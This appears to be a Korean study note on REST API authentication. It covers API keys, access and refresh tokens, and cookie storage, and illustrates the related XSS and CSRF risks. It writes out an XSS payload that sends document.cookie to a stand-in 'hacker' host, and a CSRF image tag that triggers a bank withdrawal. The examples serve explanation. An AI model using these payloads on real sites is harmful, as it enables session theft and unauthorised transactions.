토큰 인증방식 이란
REST API 보안 및 인증 방식
REST API 보안 및 인증
CORS
가장 기초적인 방식으로, API Key를 사용자에게 제공하여 유효한 API Key를 가진 사용자들만 API사용을 허용하는 방식이다.
API Key는 일종의 문자열이며, API를 사용하고자 할 때 개발자는 API 제공자의 포탈 페이지 등에서 API Key를 발급 받고, API를 호출할 때 API Key를 메시지 안에 넣어 호출한다. 서버는 메시지 안에서 API Key를 읽어 이 API가 누가 호출한 API인지를 인증하는 흐름이다.
모든 클라이언트들이 같은 API Key를 공유하기 때문에 한번 API Key가 노출이 되면 전체 API가 뚫려 버리는 문제가 있기 때문에 높은 보안 인증을 요구하는 경우에는 권장하지 않는다.
장점
단점
보안적인 단점을 극복하기 위해 토큰에 유효기간을 설정한다.
Refresh Token
하지만 여전히 토큰의 유효기간을 설정하여도 액세스 토큰을 탈취당하면 API에 접근이 가능하다.
위의 이슈를 해결하기 위해서 Refresh Token을 사용하면 좋다.
Access Token의 유효기간은 짧게 설정하고,
Refresh Token의 유효기간은 길게 설정하여 Access Token이 만료되었을 때
Refresh Token을 사용해 Access Token을 재발급하여 다시 사용하면 된다.
요청 Request에 Cookie에 액세스 토큰을 담아서 보내는 방식
장점
단점
참고문서
Cross-site scripting
http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
Cross-site request forgery
<img src="https://bank.example.com/withdraw?account=bob&amount=1000000&for=mallory">
위 예제에서 실제로 이미지가 아니지만 이미지 태그를 로딩할 때 유저의 브라우저를 이용해 back사이트에서 출금 요청을 날린다.
만약 로그인을 이미 한 상태였다면, 쿠키는 valid한 상태일 것이고 위의 요청으로 돈을 공격자에게 입금할 수 밖에 없는 것이다.
POST 요청을 필요로 하는 endpoints라고 하더라도 form 서브밋을 iframe을 이용해 날릴 수 있다.
결국 우리는 auth의 state (보통 토큰인증방식에서는 액세스토큰) 을 어딘가에는 저장을 해야만 한다.
그 저장위치가 Cookie인지
Local State인지의 여부가 달라질 뿐이다.
토큰에 들어가는 정보에는 민감한 정보는 포함하지 않는 것이 좋고
물론 암호화도 필요하다.
하지만 쿠키가 탈취당한다고 하더라도
CORS 설정 + 토큰 만료시간등을 이용하면
어느정도의 보안 위험을 예방할 수 있다.